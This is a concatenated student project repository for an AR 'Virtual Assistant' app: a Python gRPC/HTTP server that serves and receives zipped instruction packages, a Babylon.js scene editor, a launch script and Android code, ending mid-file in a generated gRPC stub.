To stop background processes:
```
ps ax | grep python_server.py
kill <pid>
```
## To generate python from .proto
`python3 -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. server.proto`
## Cool gRPC python tutorial
https://www.semantics3.com/blog/a-simplified-guide-to-grpc-in-python-6c4e25f0c506/
## How to send big images
https://github.com/gooooloo/grpc-file-transfer/blob/master/src/lib.py
https://ops.tips/blog/sending-files-via-grpc/
## Common problems
### Problem:
`Error while finding module specification for 'grpc_tools.protoc' (ModuleNotFoundError: No module named 'grpc_tools')`
### Solution:
`python3 -m pip install --user grpcio-tools`
<file_sep>/web-editor/src/README.md
1. create an instance of class Slide:
*slide = new Slide(node, assets, files)*
2. call *init(slide, assets, files)* on every change<file_sep>/python-server/python_server.py
#!/usr/bin/env python3
"""
Python server for the Virtual Assistant app
Attributes:
CHUNK_SIZE (int): Size of byte chunk in bytes. Affects transfer speed
DEFAULT_THUMB (str): Path to default thumbnail for an instruction
GRPC_PORT (int): port of gRPC server
INSTRUCTIONS_FOLDER (str): Path to folder with instructions
POST_PORT (int): port of POST server
"""
import grpc
from concurrent import futures
import time
import os
import json
import shutil
from zipfile import ZipFile
# Imports for POST listenner server
from http.server import HTTPServer, BaseHTTPRequestHandler
# Import the generated gRPC classes
import server_pb2
import server_pb2_grpc
# Server ports
GRPC_PORT = 50051
POST_PORT = 50052
INSTRUCTIONS_FOLDER = "./instructions"
DEFAULT_THUMB = "./aux_data/default_thumb.jpg"
CHUNK_SIZE = 1024 # 1KB
def get_size(start_path='.'):
"""
Calculates size of a folder
Args:
start_path (str, optional): path to a folder
Returns:
int: Size of the folder in bytes
"""
total_size = 0
for dirpath, dirnames, filenames in os.walk(start_path):
for f in filenames:
fp = os.path.join(dirpath, f)
# skip if it is symbolic link
if not os.path.islink(fp):
total_size += os.path.getsize(fp)
return total_size
def get_file_chunks(filename):
"""
Slices file into byte chunks for gRPC transfer
Args:
filename (str): Path to file to slice
Yields:
server_pb2.Chunk: byte chunk for gRPC stream
"""
with open(filename, 'rb') as f:
while True:
piece = f.read(CHUNK_SIZE)
if len(piece) == 0:
return
yield server_pb2.Chunk(buffer=piece)
def save_chunks_to_file(chunks, filename):
"""
Concatenates received chunks to file
Args:
chunks (server_pb2.Chunk): byte chunk from gRPC stream
filename (string): File to write to
"""
with open(filename, 'wb') as f:
for chunk in chunks:
f.write(chunk.buffer)
class VirtualAssistantServicer(server_pb2_grpc.VirtualAssistantServicer):
"""
Class that implements VirtualAssistant rpcs from server.proto
"""
def GetAllInstructions(self, request, context):
"""
Defines the body of GetAllInstructions rpc.
Parses index.json of all instructions and returns an array of
Thumbnails
Args:
request (server_pb2.InstructionRequest): Request msg
context (gRPC context): gRPC context
Returns:
server_pb2.InstructionResponse: Description
"""
print("All instructions request")
response = server_pb2.AllInstructioinsResponse()
instructions = os.listdir(INSTRUCTIONS_FOLDER)
# Things to ignore inside the instructions folder
ignore = [".zip", ".txt", "hidden"]
# Go through each instruction one-by-one and create a thumb out of it
for instruction in instructions:
# Skip stuff to ignore
if any(x in instruction for x in ignore):
continue
path = "{}/{}".format(INSTRUCTIONS_FOLDER, instruction)
thumbnail = server_pb2.InstructionThumbnail()
# Parse index.json
try:
with open('{}/index.json'.format(path), 'r') as descr:
data = json.load(descr)
thumbnail.id = data['id']
thumbnail.name = data['name']
thumbnail.size = data['size']
thumbnail.description = data['description']
img_path = data['preview_url']
thumbnail.last_modified.timestamp.FromSeconds(
data['last_modified'])
thumbnail.step_count = data['step_count']
except Exception as e:
print("Something is wrong with {}".format(path))
print(str(e))
continue
# Get thumbnail image
try:
with open("{}/media/{}".format(path, img_path), "rb") as thumb:
f = thumb.read()
thumbnail.image = bytes(f)
except Exception:
with open("{}".format(DEFAULT_THUMB), "rb") as thumb:
f = thumb.read()
thumbnail.image = bytes(f)
# Append thumbnail to response
response.thumbnails.extend([thumbnail])
return response
def GetInstruction(self, request, context):
"""
Defines the body of GetInstruction rpc.
Parses and returns steps.json for a particular instruction
Args:
request (server_pb2.InstructionRequest): Request msg
context (gRPC context): gRPC context
Returns:
server_pb2.InstructionResponse: Instruction Response message
"""
print("Instruction {} request".format(request.id))
# Path to the instruction
path = "{}/{}".format(INSTRUCTIONS_FOLDER, request.id)
response = server_pb2.InstructionResponse()
try:
response.status = 1
# Parse steps.json and put it in the response message
with open('{}/steps.json'.format(path), 'r') as file:
steps = json.load(file)
for step in steps:
step_msg = server_pb2.Step()
step_msg.name = step['name']
step_msg.description = step['description']
step_msg.preview_url = step['preview_url']
for asset in step['assets']:
asset_msg = server_pb2.Asset()
asset_msg.name = asset['name']
asset_msg.media.type = asset['media']['type']
asset_msg.media.url = asset['media']['url']
asset_msg.media.description = asset['media']['description']
asset_msg.transform.position.x = asset['transform']['position']['x']
asset_msg.transform.position.y = asset['transform']['position']['y']
asset_msg.transform.position.z = asset['transform']['position']['z']
asset_msg.transform.orientation.x = asset['transform']['orientation']['x']
asset_msg.transform.orientation.y = asset['transform']['orientation']['y']
asset_msg.transform.orientation.z = asset['transform']['orientation']['z']
asset_msg.transform.scale = asset['transform']['scale']
asset_msg.billboard = asset['billboard']
asset_msg.hidden = asset['hidden']
step_msg.assets.extend([asset_msg])
response.steps.extend([step_msg])
except Exception as e:
print("Error on {} request: ".format(request.id), e)
response.status = 0
return response
def DownloadMedia(self, request, context):
"""
Defines the body of DownloadMedia rpc.
The procedure returns chunked media.zip
Args:
request (server_pb2.MediaRequest): Request msg
context (gRPC context): gRPC context
Returns:
server_pb2.Chunk: gRPC Chunk stream
"""
# Define path to media folder
media_path = "{}/{}".format(INSTRUCTIONS_FOLDER, request.id)
# Define path to media.zip
zip_path = "{}/media".format(INSTRUCTIONS_FOLDER)
# Create zip archive from media folder
shutil.make_archive(zip_path, "zip", media_path)
# Split and send media.zip archive
return get_file_chunks(zip_path + ".zip")
def LastModified(self, request, context):
path = "{}/{}".format(INSTRUCTIONS_FOLDER, request.id)
with open('{}/index.json'.format(path), 'r') as descr:
data = json.load(descr)
response = server_pb2.Timestamp()
response.timestamp.FromSeconds(data['last_modified'])
return response
class WebEditorServicer(server_pb2_grpc.WebEditorServicer):
"""
Class that implements WebEditor rpcs from server.proto
"""
def DownloadInstruction(self, request, context):
"""
Defines the body of DownloadInstruction rpc.
The procedure returns chunked instruction_id.zip
Args:
request (server_pb2.MediaRequest): Request msg
context (gRPC context): gRPC context
Returns:
server_pb2.Chunk: gRPC Chunk stream
"""
print("Web-editor request for instruction: {}".format(request.id))
try:
# Define path to media folder
media_path = "{}/{}".format(INSTRUCTIONS_FOLDER, request.id)
# Define path to instruction_id.zip
zip_path = "{}/{}".format(INSTRUCTIONS_FOLDER, request.id)
# Create zip archive from media folder
shutil.make_archive(zip_path, "zip", media_path)
# Split and send media.zip archive
return get_file_chunks(zip_path + ".zip")
except Exception as e:
print("Download failed:\n", e)
def UploadInstructions(self, request_iterator, context):
"""
Defines the body of UploadInstructions rpc.
The procedure returns upload status 1 - sucess, 0 - failure
It will concatenate incoming chunks into zip file and unpack it
Received zip file will be deleted after
Args:
request_iterator (server_pb2.Chunk): List of chunks
context (gRPC context): gRPC context
Returns:
server_pb2.Status: Upload status code
"""
print("Upload attempt")
try:
zip_temp_name = "/upload.zip"
save_chunks_to_file(
request_iterator, INSTRUCTIONS_FOLDER + zip_temp_name)
folder_name = ""
with ZipFile(INSTRUCTIONS_FOLDER + zip_temp_name, 'r') as zipObj:
folder_name = zipObj.namelist()[0]
shutil.unpack_archive(INSTRUCTIONS_FOLDER +
zip_temp_name, INSTRUCTIONS_FOLDER, 'zip')
os.remove(INSTRUCTIONS_FOLDER + zip_temp_name)
index = ""
with open("{}/{}index.json".format(INSTRUCTIONS_FOLDER, folder_name), "r") as descr:
index = json.load(descr)
index["size"] = get_size(INSTRUCTIONS_FOLDER + "/" + folder_name)
with open("{}/{}index.json".format(INSTRUCTIONS_FOLDER, folder_name), "w") as descr:
json.dump(index, descr)
print("Upload successful")
return server_pb2.Status(status=1)
except Exception as e:
print("Upload failed:\n", e)
return server_pb2.Status(status=0)
class PostServer(BaseHTTPRequestHandler):
"""
POST server class
"""
def _set_headers(self):
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
def _html(self, message):
content = "<html><body><h1>{}</h1></body></html>".format(message)
return content.encode("utf8")
def do_GET(self):
request = str(self.path).split("/")[-1]
print("Request:", request)
if(request == "instructions"):
print("Instructions request from the Web-editor")
# Define path to instructions.zip
zip_path = "./instructions"
try:
os.remove(zip_path + "/media.zip")
except OSError:
pass
# Create zip archive from media folder
shutil.make_archive(zip_path, "zip", INSTRUCTIONS_FOLDER)
# Write file to the response message
with open(zip_path + ".zip", 'rb') as file:
self.send_response(200)
self.send_header("Content-Type", 'application/zip')
self.send_header("Access-Control-Allow-Origin", '*')
self.send_header(
"Content-Typet-Disposition", 'attachment; filename="instructions.zip"')
fs = os.fstat(file.fileno())
self.send_header("Content-Length", str(fs.st_size))
self.end_headers()
shutil.copyfileobj(file, self.wfile)
elif(request == "instructions_list"):
instructions = os.listdir(INSTRUCTIONS_FOLDER)
# Things to ignore inside the instructions folder
ignore = [".zip", ".txt", "hidden"]
# List of instruction ids
iids = []
for instruction in instructions:
# Skip stuff to ignore
if any(x in instruction for x in ignore):
continue
iids.append(instruction)
self.send_response(200)
self.send_header('Content-type', 'application/json')
self.send_header("Access-Control-Allow-Origin", '*')
self.end_headers()
self.wfile.write(json.dumps(iids).encode('ascii'))
elif('instruction?id=' in request):
req_id = request.split('?id=')[-1]
try:
# Define path to media folder
media_path = "{}/{}".format(INSTRUCTIONS_FOLDER, req_id)
# Define path to instruction_id.zip
zip_path = "{}/{}".format(INSTRUCTIONS_FOLDER, req_id)
# Create zip archive from media folder
shutil.make_archive(zip_path, "zip", media_path)
# Write file to the response message
with open(zip_path + ".zip", 'rb') as file:
self.send_response(200)
self.send_header("Content-Type", 'application/zip')
self.send_header("Access-Control-Allow-Origin", '*')
self.send_header(
"Content-Typet-Disposition", 'attachment; filename="{}.zip"'.format(req_id))
fs = os.fstat(file.fileno())
self.send_header("Content-Length", str(fs.st_size))
self.end_headers()
shutil.copyfileobj(file, self.wfile)
os.remove(zip_path + ".zip")
except Exception as e:
print("Download failed:\n", e)
self.send_response(404)
self.end_headers()
else:
self._set_headers()
self.wfile.write(self._html(
"Hi. I'm waiting for POSTs with zipped instructions."))
def do_HEAD(self):
self._set_headers()
def do_POST(self):
print("Upload attempt")
try:
content_length = int(self.headers['Content-Length'])
body = self.rfile.read(content_length)
zip_temp_name = "/upload.zip"
with open(INSTRUCTIONS_FOLDER + zip_temp_name, 'wb') as f:
f.write(body)
folder_name = ""
with ZipFile(INSTRUCTIONS_FOLDER + zip_temp_name, 'r') as zipObj:
folder_name = zipObj.namelist()[0]
shutil.unpack_archive(INSTRUCTIONS_FOLDER +
zip_temp_name, INSTRUCTIONS_FOLDER, 'zip')
os.remove(INSTRUCTIONS_FOLDER + zip_temp_name)
index = ""
with open("{}/{}index.json".format(INSTRUCTIONS_FOLDER, folder_name), "r") as descr:
index = json.load(descr)
index["size"] = get_size(INSTRUCTIONS_FOLDER + "/" + folder_name)
with open("{}/{}index.json".format(INSTRUCTIONS_FOLDER, folder_name), "w") as descr:
json.dump(index, descr)
print("Upload successful")
self.send_response(200)
except Exception as e:
print("Upload failed:\n", e)
self.send_response(500)
self.end_headers()
def main():
"""
Create gRPC and POST servers and wait for requests
"""
# Create gRPC server
print("Creating gRPC Server on port {}".format(GRPC_PORT))
server = grpc.server(futures.ThreadPoolExecutor(max_workers=10))
server_pb2_grpc.add_VirtualAssistantServicer_to_server(
VirtualAssistantServicer(), server)
server_pb2_grpc.add_WebEditorServicer_to_server(
WebEditorServicer(), server)
server.add_insecure_port('[::]:{}'.format(GRPC_PORT))
server.start()
# Create POST server
server_address = ("0.0.0.0", POST_PORT)
post_server = HTTPServer(server_address, PostServer)
print("Creating POST server on port {}".format(POST_PORT))
post_server.serve_forever()
# Wait, since threads are non-blocking
try:
while True:
time.sleep(60 * 60 * 24)
except KeyboardInterrupt:
server.stop(0)
if __name__ == '__main__':
main()
<file_sep>/README.md
# Innopolis Spring 2020 Software Project
## Virtual assistant
Purpose - providing interactive instructions on a complex technological
process and for working with high-tech and expensive equipment. Instructions
are provided in the form of text, images, and animated holograms.
## Structure
- Web editor
- Server
- AR/MR devices

## Technology stack
- Android Studio (3.53! Very important to have this version)
- ARCore
- Sceneform
- WebGL
- GLTF
- gRPC
- Vue.JS
- Babylon.JS
## Hardware
In order to run applications you should have Android SDK V27, at least.
Check if your device is supported [here](https://developers.google.com/ar/discover/supported-devices).
If you don't have it, you can setup the Android Virtual Device. To do that, please, follow [this](https://developers.google.com/ar/develop/java/quickstart) guide.
## Software
Here is the Virtual Assistant app, Web Editor page, and Python Server to serve them.
### How to run
- [Download](https://github.com/Sarrasor/INNO-S20-SP/releases) Virtual Assistant app apk
- Go to the [Web Editor](https://sarrasor.github.io/INNO-S20-SP/)
- Enjoy
### Contents
Here is a brief desciption of folders.
### python-server
Contains python server with instructions API.
There is README.md inside with more detailed explanation.

### virtual-assistant

Contains Virtual Assistant app. You can download the latest version [here](https://github.com/Sarrasor/INNO-S20-SP/releases).
[Video](https://drive.google.com/file/d/1CL9LkvtQERKDECgmdhwFlaOlP5pUo9sP/view)
### web-editor

Contains Web Editor code. Instructions are included in the folder
[Link to Web Editor](https://sarrasor.github.io/INNO-S20-SP/)
### images
Images used
### models
Models used
<file_sep>/web-editor/src/DobroyeBabylon.js
// npm install babylonjs --save
// npm install --save babylonjs babylonjs-loaders
// move gltf https://www.babylonjs-playground.com/#7DS5D4#1
// npm install --save babylonjs babylonjs-materials
import * as BABYLON from 'babylonjs';
import 'babylonjs-loaders';
import * as GUI from 'babylonjs-gui';
import 'babylonjs-materials';
var TEXT = 0;
var IMAGE = 1;
var AUDIO = 2;
var VIDEO = 3;
var TDMODEL = 4;
/*
init function that should be called to update/create/delete
slide: object Slide
assets: json object
files: json object
*/
export function init(slide, assets, files) {
function findFile(name, files) {
// if (!files || files.length == 0)
// return -1;
for (let i = 0; i < files.length; i++) {
if (files[i].name == name) {
return files[i];
}
}
}
function findAssetIfPresent(id) {
for (let i = 0; i < slide.assets.length; i++)
if (slide.assets[i].id == id)
return slide.assets[i];
return null;
}
// if assets and/or files are empty, empty scene will appear
if (!assets || assets.length == 0 || (assets.length == 1 && assets[0].media.url == "" && assets[0].media_desc == "")) {
// for (let i =0; i < slide.assets.length; i++){
// slide.deleteAsset(slide.assets[i].id);
// }
return slide;
}
for (let ai = 0; ai < assets.length; ai++) {
let asset = assets[ai];
var file = null;
if (asset.media.url != "")
file = findFile(assets[ai].media.url, files);
var existing_asset = findAssetIfPresent(asset.id);
slide.manageAsset(existing_asset, asset.id, asset.name, file ? file.type : 0, {
media_desc: asset.media.description,
position: {
x: asset.transform.position.x,
y: asset.transform.position.y,
z: asset.transform.position.z,
},
rotation: {
x: asset.transform.orientation.x,
y: asset.transform.orientation.y,
z: asset.transform.orientation.z,
},
scale: asset.transform.scale,
billboard: asset.billboard,
hidden: asset.hidden,
url: file?.content,
uurl: file?.url
});
}
return slide;
}
export class Slide {
/*
sets up everything that is needed to display the scene
node: node that scene will be put on (example: div)
*/
constructor(node) {
this.node = node;
this.createScene();
this.assets = [];
}
/*
existing_asset: Asset or null - if it contains an asset then it will be updated; if it contains null - create new asset
id: str - id of the asset
name:str - name of the newly created asset
media_type: int
options: { media_desc:string, billboard:boolean, hidden:boolean, url:string,
position:{x:num, y:num, z:num}, rotation{x:num, y:num, z:num}, scale:num }
*/
manageAsset(existing_asset, id, name, media_type, options) {
if (existing_asset == null) {
var new_obj = new Asset(id, name, media_type, this.scene,
{
media_desc: options.media_desc,
url: options.url,
uurl: options.uurl,
position: {
x: options.position.x,
y: options.position.y,
z: options.position.z
},
rotation: {
x: options.rotation.x,
y: options.rotation.y,
z: options.rotation.z
},
scale: options.scale,
hidden: options.hidden,
billboard: options.billboard
});
this.assets.push(new_obj);
}
else {
let asset = existing_asset;
asset.name = name;
asset.hidden = options.hidden;
if (asset.media_type != media_type || asset.url != options.url || asset.billboard != options.billboard ||
(asset.media_type == TEXT && asset.media_desc != options.media_desc)) {
asset.media_type = media_type;
asset.url = options.url;
asset.uurl = options.uurl;
asset.billboard = options.billboard;
asset.model.dispose();
asset.media_desc = options.media_desc;
asset.loadObject(this.scene, function () {
asset.setScale(options.scale);
asset.setPosition({
x: options.position.x,
y: options.position.y,
z: options.position.z
});
asset.setOrientation({
x: options.rotation.x,
y: options.rotation.y,
z: options.rotation.z
});
asset.setTransparent(asset.hidden);
});
}
else {
asset.media_desc = options.media_desc;
asset.setScale(options.scale);
asset.setPosition({
x: options.position.x,
y: options.position.y,
z: options.position.z
});
asset.setOrientation({
x: options.rotation.x,
y: options.rotation.y,
z: options.rotation.z
});
asset.setTransparent(asset.hidden);
}
}
}
/*
id: string
returns an index of asset with asset.id=id
*/
findAssetIndexById(id) {
for (let i = 0; i < this.assets.length; i++)
if (this.assets[i].id == id)
return i
}
/*
name:str - name of the asset to be deleted
*/
deleteAsset(id) {
let index = this.findAssetIndexById(id);
this.assets[index].model.dispose();
this.assets.splice(index);
}
// from here, all the functions that belong to the class Slide play technical role only
// and must not be called from outside of class Asset
createScene() {
var engine = new BABYLON.Engine(this.node, false, { preserveDrawingBuffer: true, stencil: true });
var scene = new BABYLON.Scene(engine);
scene.createDefaultCameraOrLight(true, true, true);
scene.activeCamera.beta -= 0.2;
scene.activeCamera.upperBetaLimit = Math.PI / 2.1;
scene.activeCamera.lowerRadiusLimit = 3;
scene.activeCamera.upperRadiusLimit = 20;
scene.activeCamera.setTarget(new BABYLON.Vector3(0, 0, 0));
scene.activeCamera.setPosition(new BABYLON.Vector3(0, 3, 10));
scene.clearColor = new BABYLON.Color3(0.5, 0.8, 0.5);
scene.lights[0].dispose();
var light = new BABYLON.DirectionalLight("light1", new BABYLON.Vector3(-2, -3, 1), scene);
light.position = new BABYLON.Vector3(0, 0, 10);
light.intensity = 1;
let additional_lights = [];
for (let i = 0; i < 6; i++) {
additional_lights.push(new BABYLON.HemisphericLight("HemiLight", new BABYLON.Vector3(0, -0.001, 0), scene));
additional_lights[i].intensity = 0.8;
}
additional_lights[0].position = new BABYLON.Vector3(0, 2, 5);
additional_lights[1].position = new BABYLON.Vector3(5, 2, 0);
additional_lights[2].position = new BABYLON.Vector3(-5, 2, 0);
additional_lights[3].position = new BABYLON.Vector3(0, 2, -5);
additional_lights[4].position = new BABYLON.Vector3(0, -5, 0);
additional_lights[5].position = new BABYLON.Vector3(0, 8, 0);
var helper = scene.createDefaultEnvironment({
groundShadowLevel: -5,
});
helper.setMainColor(new BABYLON.Color3(0.698, 0.502, 0.69));
engine.runRenderLoop(function () {
scene.render();
});
var showAxis = function (size) {
var axisX = BABYLON.Mesh.CreateLines("axisX", [
new BABYLON.Vector3(-size, 0, 0), new BABYLON.Vector3(size, 0, 0),
new BABYLON.Vector3(size, 0, 0)
], scene);
axisX.color = new BABYLON.Color3(1.0, 0, 0);
var xCone = BABYLON.MeshBuilder.CreateCylinder("cone", { diameterBottom: 0.2, diameterTop: 0.03, tessellation: 100, height: 0.2 }, scene);
xCone.position = new BABYLON.Vector3(-size, 0, 0);
xCone.rotation = new BABYLON.Vector3(Math.PI / 2, -Math.PI / 2, 0);
xCone.material = new BABYLON.StandardMaterial("matX", scene);
xCone.material.emissiveColor = new BABYLON.Color3(1.0, 0, 0);
xCone.material.diffuseColor = new BABYLON.Color3(1.0, 0, 0);
var axisY = BABYLON.Mesh.CreateLines("axisY", [
new BABYLON.Vector3.Zero(), new BABYLON.Vector3(0, size * 2 / 3, 0),
new BABYLON.Vector3(0, size * 2 / 3, 0)
], scene);
axisY.color = new BABYLON.Color3(0, 1.0, 0);
var yCone = BABYLON.MeshBuilder.CreateCylinder("cone", { diameterBottom: 0.2, diameterTop: 0.03, tessellation: 100, height: 0.2 }, scene);
yCone.position = new BABYLON.Vector3(0, 2 / 3 * size, 0);
yCone.rotation = new BABYLON.Vector3(0, 0, 0);
yCone.material = new BABYLON.StandardMaterial("matY", scene);
yCone.material.emissiveColor = new BABYLON.Color3(0, 1.0, 0);
yCone.material.diffuseColor = new BABYLON.Color3(0, 1.0, 0);
var axisZ = BABYLON.Mesh.CreateLines("axisZ", [
new BABYLON.Vector3(0, 0, -size), new BABYLON.Vector3(0, 0, size),
new BABYLON.Vector3(0, 0, size)
], scene);
axisZ.color = new BABYLON.Color3(0, 0, 1.0);
var zCone = BABYLON.MeshBuilder.CreateCylinder("cone", { diameterBottom: 0.2, diameterTop: 0.03, tessellation: 100, height: 0.2 }, scene);
zCone.position = new BABYLON.Vector3(0, 0, size);
zCone.rotation = new BABYLON.Vector3(Math.PI / 2, 0, 0);
zCone.material = new BABYLON.StandardMaterial("matZ", scene);
zCone.material.emissiveColor = new BABYLON.Color3(0, 0, 1.0);
zCone.material.diffuseColor = new BABYLON.Color3(0, 0, 1.0);
};
showAxis(5);
this.scene = scene;
}
}
/*
class that describes an asset
*/
class Asset {
/*
id: str - id of the asset
name:str - name of the asset
media_type:num (0-4) - media type according to official API
scene, camera, renderer - passed from Slide
options: { media_desc:string, billboard:boolean, hidden:boolean, url:string, loader:GLTFLoader,
position:{x:num, y:num, z:num}, rotation{x:num, y:num, z:num}, scale:num }
options.loader - passed from Slide
*/
constructor(id, name, media_type, scene, options) {
this.id = id;
this.name = name;
this.media_type = media_type;
this.media_desc = options.media_desc;
this.url = options.url;
this.uurl = options.uurl;
this.scale = options.scale;
this.hidden = options.hidden;
this.billboard = options.billboard;
this.loadObject(scene, function () { });
this.setScale(options.scale);
this.setPosition({
x: options.position.x,
y: options.position.y,
z: options.position.z
});
this.setOrientation({
x: options.rotation.x,
y: options.rotation.y,
z: options.rotation.z
});
this.setTransparent(options.hidden);
}
/*
sets position for this.model. this.model must be loaded beforehand. called from constructor
args: { x:num, y:num, z:num } - not optional. to update, all must be passed
*/
setPosition(args) {
this.model.position.x = -args.x;
this.model.position.y = args.y;
this.model.position.z = args.z;
if (this.media_type == TEXT) {
this.model.position.y += 0.1 * this.scale;
}
else if (this.media_type == IMAGE) {
this.model.position.y += 1.0 * this.scale;
}
}
/*
sets orientation for this.model; this.model must be loaded beforehand. called form constructor
args: { x:num, y:num, z:num } - not optional. to update, all must be passed
*/
setOrientation(args) {
if (this.billboard) {
if (this.media_type == IMAGE) {
this.model.rotation.x = 0;
this.model.rotation.y = 0;
this.model.rotation.z = 0;
return;
}
else if (this.media_type == TEXT) {
this.model.rotation.x = args.x * Math.PI / 180 - Math.PI / 2;
this.model.rotation.y = args.y * Math.PI / 180;
this.model.rotation.z = args.z * Math.PI / 180;
return;
}
}
var old_x = this.model.rotation.x;
var old_y = this.model.rotation.y;
var old_z = this.model.rotation.z;
this.model.rotation.x = args.x * Math.PI / 180;
this.model.rotation.y = args.y * Math.PI / 180;
this.model.rotation.z = args.z * Math.PI / 180;
if (this.media_type == TEXT) {
this.model.rotation.x -= Math.PI / 2;
this.model.rotation.z += Math.PI;
}
else if (this.media_type == IMAGE) {
this.model.rotation.y += Math.PI;
}
else if (this.media_type == TDMODEL) {
this.model.rotate(BABYLON.Axis.X, this.model.rotation.x - old_x, BABYLON.Space.LOCAL);
this.model.rotate(BABYLON.Axis.Y, this.model.rotation.y - old_y, BABYLON.Space.LOCAL);
this.model.rotate(BABYLON.Axis.Z, this.model.rotation.z - old_z, BABYLON.Space.LOCAL);
}
}
setScale(value) {
this.model.scaling.x = value;
this.model.scaling.y = value;
this.model.scaling.z = value;
this.scale = value;
}
setTransparent(hidden) {
if (hidden) {
if (this.media_type == IMAGE || this.media_type == TEXT) {
this.modelMaterial.alpha = 0.5;
}
if (this.media_type == TDMODEL) {
this.model.visibility = 0.5;
this.modelMaterial.alpha = 0.5;
}
}
else {
if (this.media_type == IMAGE) {
this.modelMaterial.alpha = 1.0;
}
if (this.media_type == TDMODEL) {
this.model.visibility = 1.0;
this.modelMaterial.alpha = 1.0;
}
}
}
/*
called from constructor. loads an object according to this.media_type
scene - passed from constructor
options: { url, loader }
options.url - for images and 3d models
options.loader - for 3d models
*/
loadObject(scene, _callback) {
switch (this.media_type) {
case TEXT:
this.loadText(scene, _callback);
break;
case IMAGE:
case AUDIO:
case VIDEO:
this.loadImage(scene, _callback);
break;
case TDMODEL:
this.load3DObject(scene, _callback);
break;
}
}
loadText(scene, _callback) {
var ground = BABYLON.Mesh.CreateGround("ground", 8, 6, 2, scene, true);
// GUI
var advancedTexture = GUI.AdvancedDynamicTexture.CreateForMesh(ground, 1024, 1024, true, true);
ground.emissiveTexture = advancedTexture;
var text1 = new GUI.TextBlock();
text1.text = this.media_desc;
text1.color = "red";
text1.fontSize = 40;
text1.fontFamily = 'sans serif';
advancedTexture.addControl(text1);
if (this.billboard) {
ground.billboardMode = BABYLON.Mesh.BILLBOARDMODE_ALL;
}
this.model = ground;
_callback();
}
loadImage(scene, _callback) {
var asset = this;
var img = new Image();
img.onload = function () {
loadImgPlane(this.height, this.width, asset, _callback);
}
img.src = asset.url;
function loadImgPlane(h, w, asset, _callback) {
var mat = new BABYLON.StandardMaterial("material", scene);
mat.emissiveTexture = new BABYLON.Texture(asset.url, scene);
mat.emissiveTexture.hasAlpha = true;
mat.backFaceCulling = false;
mat.disableLighting = true;
asset.modelMaterial = mat;
var height = 2.0;
var width = height * w / h;
asset.img_width = width;
asset.img_height = height;
var plane = new BABYLON.MeshBuilder.CreatePlane(asset.name, { height: height, width: width }, scene);
plane.updatable = true;
plane.material = mat;
if (asset.billboard) {
mat.backFaceCulling = true;
plane.billboardMode = BABYLON.Mesh.BILLBOARDMODE_ALL;
}
asset.model = plane;
_callback();
}
}
load3DObject(scene, _callback) {
var asset = this;
// var base64_model_content = asset.url;
// var raw_content = BABYLON.Tools.DecodeBase64(base64_model_content);
// var blob = new Blob([raw_content]);
// var url = URL.createObjectURL(blob);
BABYLON.SceneLoader.LoadAssetContainer("", asset.uurl, scene, function (container) {
asset.model = container.meshes[0];
asset.modelMaterial = container.materials[0];
container.addAllToScene();
}, undefined, undefined, ".glb");
_callback();
}
}
// var cup;
// var createScene = function(){
// var scene = new BABYLON.Scene(engine);
// var camera = new BABYLON.ArcRotateCamera("Camera", 0, 0, 0, new BABYLON.Vector3(0,
// 0, 0), scene);
// BABYLON.SceneLoader.ImportMesh("", "model/", "108.glb", scene, function (meshes) {
// scene.createDefaultCameraOrLight(true, true, true);
// cup = meshes[0];
// });
// scene.createDefaultLight();
// console.log(cup);
// scene.clearColor = new BABYLON.Color4(0,0,0,0.0000000000000001);
// scene.ambientColor = new BABYLON.Color3(1, 1, 1);
// return scene;
// };
// //even fom here I don't have access
// console.log(scene.meshes[0].position);
// var engine = new BABYLON.Engine(canvas, true, { preserveDrawingBuffer: true, stencil: true });
// var scene = createScene();
// engine.runRenderLoop(function () {
// scene.render();
// });
<file_sep>/python-server/run_servers.sh
#!/bin/bash
chmod +x /root/INNO-S20-SP/python-server/python_server.py
nohup /root/INNO-S20-SP/python-server/python_server.py > output.log &
./ngrok start -config /root/ngrok_config.yml post-server grpc-server > /dev/null &
<file_sep>/virtual-assistant/app/src/main/java/com/example/virtual_assistant/InstructionThumbItem.java
package com.example.virtual_assistant;
import android.graphics.Bitmap;
import com.google.protobuf.Timestamp;
import org.json.JSONException;
import org.json.JSONObject;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;
public class InstructionThumbItem {
private String id;
private String name;
private String description;
private Bitmap image;
private int stepCount;
private int size;
private Timestamp lastModified;
private String direcory;
InstructionThumbItem(String id, String name, String description, Bitmap image, int stepCount, int size, Timestamp lastModified, String direcory) {
this.id = id;
this.name = name;
this.size = size;
this.description = description;
this.image = image;
this.lastModified = lastModified;
this.stepCount = stepCount;
this.direcory = direcory;
}
/**
* Check the version of the instruction on the device
*
* @return 0 if not stored locally
* 1 if outdated version is stored locally
* 2 if the most updated version is stored locally
*/
int getLocalStorageStatus() {
try {
File file = new File(direcory + "/" + id + "/index.json");
StringBuilder text = new StringBuilder();
BufferedReader br = new BufferedReader(new FileReader(file));
String line;
while ((line = br.readLine()) != null) {
text.append(line);
text.append('\n');
}
br.close();
JSONObject index_file = new JSONObject(text.toString());
long localLastModified = index_file.getLong("last_modified");
if (localLastModified < lastModified.getSeconds()) {
return 1;
} else {
return 2;
}
} catch (IOException | JSONException e) {
return 0;
}
}
Timestamp getLastModified() {
return this.lastModified;
}
public String getId() {
return id;
}
int getStepCount() {
return stepCount;
}
public int getSize() {
return size;
}
public String getName() {
return name;
}
String getDescription() {
return description;
}
Bitmap getImage() {
return image;
}
}
<file_sep>/virtual-assistant/settings.gradle
include ':app'
rootProject.name='virtual-assistant'
<file_sep>/python-server/server_pb2_grpc.py
# Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT!
import grpc
import server_pb2 as server__pb2
class VirtualAssistantStub(object):
# missing associated documentation comment in .proto file
pass
def __init__(self, channel):
"""Constructor.
Args:
channel: A grpc.Channel.
"""
self.GetAllInstructions = channel.unary_unary(
'/virtual_assistant.VirtualAssistant/GetAllInstructions',
request_serializer=server__pb2.AllInstructioinsRequest.SerializeToString,
response_deserializer=server__pb2.AllInstructioinsResponse.FromString,
)
self.GetInstruction = channel.unary_unary(
'/virtual_assistant.VirtualAssistant/GetInstruction',
request_serializer=server__pb2.InstructionRequest.SerializeToString,
response_deserializer=server__pb2.InstructionResponse.FromString,
)
self.DownloadMedia = channel.unary_stream(
'/virtual_assistant.VirtualAssistant/DownloadMedia',
request_serializer=server__pb2.MediaRequest.SerializeToString,
response_deserializer=server__pb2.Chunk.FromString,
)
self.LastModified = channel.unary_unary(
